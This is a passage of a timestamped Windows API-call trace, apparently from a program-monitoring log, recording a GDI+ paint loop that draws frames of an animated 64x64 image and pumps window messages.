matrix=0x1dc0a510) returned 0x0 [0131.687] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0131.687] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.687] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.688] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.688] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.688] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.688] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.688] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0131.689] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.689] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.689] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.689] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.689] GetSystemMetrics (nIndex=42) returned 0 [0131.689] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.689] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.689] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.689] CoTaskMemFree (pv=0x1e7ac120) [0131.689] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.689] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.689] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.689] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.690] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.690] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.690] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.690] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.690] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.690] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0131.691] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.691] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.691] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.691] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.691] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.691] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.691] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.691] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.691] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.692] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.692] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.692] GetCurrentObject (hdc=0x510107cb, type=0x1) returned 0x1b00017 [0131.692] GetCurrentObject (hdc=0x510107cb, type=0x2) returned 0x1900010 [0131.692] GetCurrentObject (hdc=0x510107cb, type=0x7) returned 0x1a05067e [0131.692] GetCurrentObject (hdc=0x510107cb, type=0x6) returned 0x18a002e [0131.692] SaveDC (hdc=0x510107cb) returned 1 [0131.692] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5b040b8a [0131.692] GetClipRgn (hdc=0x510107cb, hrgn=0x5b040b8a) returned 0 [0131.692] SelectClipRgn (hdc=0x510107cb, hrgn=0xffffffff8b0407c3) returned 2 [0131.692] DeleteObject (ho=0x5b040b8a) returned 1 [0131.692] DeleteObject (ho=0xffffffff8b0407c3) returned 1 [0131.693] OffsetViewportOrgEx (in: hdc=0x510107cb, x=0, y=0, lppt=0x27e8ce8 | out: lppt=0x27e8ce8) returned 1 [0131.693] GetNearestColor (hdc=0x510107cb, color=0xffffff) returned 0xffffff [0131.693] CreateSolidBrush (color=0xffffff) returned 0x63100190 [0131.693] FillRect (hDC=0x510107cb, lprc=0x15d7c0, hbr=0x63100190) returned 1 [0131.693] DeleteObject (ho=0x63100190) returned 1 [0131.693] RestoreDC (hdc=0x510107cb, nSavedDC=-1) returned 1 [0131.693] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.693] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x510107cb) returned 0x0 [0131.693] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd200dbd) returned 0x0 [0131.693] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.693] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0131.693] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.693] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.694] GetSystemMetrics (nIndex=42) returned 0 [0131.694] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.694] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.694] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.694] CoTaskMemFree (pv=0x1e7ac120) [0131.694] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0131.696] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.696] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.696] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.696] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.697] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x510107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.697] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.697] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x510107cb) returned 0x0 [0131.697] SelectObject (hdc=0x510107cb, h=0x185000f) returned 0x1a05067e [0131.697] DeleteDC (hdc=0x510107cb) returned 1 [0131.697] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.697] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0131.697] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0131.697] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0131.698] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.698] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.698] WaitMessage () returned 1 [0131.810] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.810] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.810] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.810] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.810] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.811] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.811] GetCurrentThreadId () returned 0xec0 [0131.811] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.811] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.811] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.811] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.811] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.811] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.811] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.812] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.812] CreateCompatibleDC (hdc=0x3010b83) returned 0x520107cb [0131.812] SelectObject (hdc=0x520107cb, h=0x1a05067e) returned 0x185000f [0131.812] GdipCreateFromHDC (hdc=0x520107cb, graphics=0x15daf0) returned 0x0 [0131.812] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.812] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.812] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.812] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0131.812] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0131.813] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.813] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.813] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.813] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.813] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.814] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.814] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0131.814] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.814] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.814] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.814] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.814] GetSystemMetrics (nIndex=42) returned 0 [0131.814] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.814] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.814] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.815] CoTaskMemFree (pv=0x1e7ac120) [0131.815] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.815] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.815] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.815] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.815] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.815] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.815] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.815] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.816] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.816] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0131.816] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.816] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.816] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.816] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.817] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.817] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.817] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.817] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.817] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.817] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.817] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.817] GetCurrentObject (hdc=0x520107cb, type=0x1) returned 0x1b00017 [0131.817] GetCurrentObject (hdc=0x520107cb, type=0x2) returned 0x1900010 [0131.817] GetCurrentObject (hdc=0x520107cb, type=0x7) returned 0x1a05067e [0131.817] GetCurrentObject (hdc=0x520107cb, type=0x6) returned 0x18a002e [0131.817] SaveDC (hdc=0x520107cb) returned 1 [0131.817] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff8c0407c3 [0131.818] GetClipRgn (hdc=0x520107cb, hrgn=0xffffffff8c0407c3) returned 0 [0131.818] SelectClipRgn (hdc=0x520107cb, hrgn=0x5c040b8a) returned 2 [0131.818] DeleteObject (ho=0xffffffff8c0407c3) returned 1 [0131.818] DeleteObject (ho=0x5c040b8a) returned 1 [0131.818] OffsetViewportOrgEx (in: hdc=0x520107cb, x=0, y=0, lppt=0x27e9fa0 | out: lppt=0x27e9fa0) returned 1 [0131.818] GetNearestColor (hdc=0x520107cb, color=0xffffff) returned 0xffffff [0131.818] CreateSolidBrush (color=0xffffff) returned 0x64100190 [0131.818] FillRect (hDC=0x520107cb, lprc=0x15d7c0, hbr=0x64100190) returned 1 [0131.818] DeleteObject (ho=0x64100190) returned 1 [0131.818] RestoreDC (hdc=0x520107cb, nSavedDC=-1) returned 1 [0131.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.819] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x520107cb) returned 0x0 [0131.819] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd1e0dbd) returned 0x0 [0131.819] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.819] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0131.819] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.819] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.819] GetSystemMetrics (nIndex=42) returned 0 [0131.819] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.819] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.819] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.819] CoTaskMemFree (pv=0x1e7ac120) [0131.819] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.819] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.819] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.820] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.820] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x520107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.820] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.820] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x520107cb) returned 0x0 [0131.820] SelectObject (hdc=0x520107cb, h=0x185000f) returned 0x1a05067e [0131.820] DeleteDC (hdc=0x520107cb) returned 1 [0131.820] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.820] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0131.820] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0131.820] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0131.821] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.821] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0131.821] WaitMessage () returned 1 [0131.984] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.984] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.984] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.984] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.984] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.984] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0131.984] GetCurrentThreadId () returned 0xec0 [0131.985] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0131.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0131.985] IsWindowUnicode (hWnd=0x2031e) returned 1 [0131.985] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0131.985] TranslateMessage (lpMsg=0x15e910) returned 0 [0131.985] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0131.985] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0131.985] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0131.986] CreateCompatibleDC (hdc=0x3010b83) returned 0x530107cb [0131.986] SelectObject (hdc=0x530107cb, h=0x1a05067e) returned 0x185000f [0131.986] GdipCreateFromHDC (hdc=0x530107cb, graphics=0x15daf0) returned 0x0 [0131.986] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0131.986] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0131.986] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0131.986] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0131.986] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0131.987] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.987] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0131.987] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.988] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.988] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0131.988] GdipCreateRegion (region=0x15dc20) returned 0x0 [0131.988] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0131.988] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0131.988] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0131.988] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.988] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.988] GetSystemMetrics (nIndex=42) returned 0 [0131.988] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.988] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.988] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.989] CoTaskMemFree (pv=0x1e7ac120) [0131.989] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0131.989] GdipCreateRegion (region=0x15d710) returned 0x0 [0131.989] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0131.989] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0131.989] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0131.989] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0131.989] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.989] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.990] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.990] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0131.990] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0131.990] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0131.991] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0131.991] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.991] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0131.991] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0131.991] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0131.991] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0131.991] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.991] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0131.991] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0131.991] GetCurrentObject (hdc=0x530107cb, type=0x1) returned 0x1b00017 [0131.991] GetCurrentObject (hdc=0x530107cb, type=0x2) returned 0x1900010 [0131.992] GetCurrentObject (hdc=0x530107cb, type=0x7) returned 0x1a05067e [0131.992] GetCurrentObject (hdc=0x530107cb, type=0x6) returned 0x18a002e [0131.992] SaveDC (hdc=0x530107cb) returned 1 [0131.992] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5d040b8a [0131.992] GetClipRgn (hdc=0x530107cb, hrgn=0x5d040b8a) returned 0 [0131.992] SelectClipRgn (hdc=0x530107cb, hrgn=0xffffffff8d0407c3) returned 2 [0131.992] DeleteObject (ho=0x5d040b8a) returned 1 [0131.992] DeleteObject (ho=0xffffffff8d0407c3) returned 1 [0131.992] OffsetViewportOrgEx (in: hdc=0x530107cb, x=0, y=0, lppt=0x27ea8d8 | out: lppt=0x27ea8d8) returned 1 [0131.992] GetNearestColor (hdc=0x530107cb, color=0xffffff) returned 0xffffff [0131.993] CreateSolidBrush (color=0xffffff) returned 0x65100190 [0131.993] FillRect (hDC=0x530107cb, lprc=0x15d7c0, hbr=0x65100190) returned 1 [0131.993] DeleteObject (ho=0x65100190) returned 1 [0131.993] RestoreDC (hdc=0x530107cb, nSavedDC=-1) returned 1 [0131.993] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.993] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x530107cb) returned 0x0 [0131.993] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd1c0dbd) returned 0x0 [0131.993] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.993] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0131.993] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0131.994] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0131.994] GetSystemMetrics (nIndex=42) returned 0 [0131.994] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0131.994] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0131.994] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0131.994] CoTaskMemFree (pv=0x1e7ac120) [0131.994] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x10) returned 0x0 [0131.998] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0131.998] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0131.999] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0131.999] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0131.999] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x530107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.999] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.999] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x530107cb) returned 0x0 [0131.999] SelectObject (hdc=0x530107cb, h=0x185000f) returned 0x1a05067e [0131.999] DeleteDC (hdc=0x530107cb) returned 1 [0131.999] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0131.999] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0132.000] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0132.000] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0132.000] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.000] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0132.000] WaitMessage () returned 1 [0132.183] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.183] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.183] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.184] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.184] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.184] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0132.184] GetCurrentThreadId () returned 0xec0 [0132.184] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0132.185] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0132.185] IsWindowUnicode (hWnd=0x2031e) returned 1 [0132.185] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0132.185] TranslateMessage (lpMsg=0x15e910) returned 0 [0132.185] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0132.185] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0132.186] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0132.186] CreateCompatibleDC (hdc=0x3010b83) returned 0x540107cb [0132.186] SelectObject (hdc=0x540107cb, h=0x1a05067e) returned 0x185000f [0132.186] GdipCreateFromHDC (hdc=0x540107cb, graphics=0x15daf0) returned 0x0 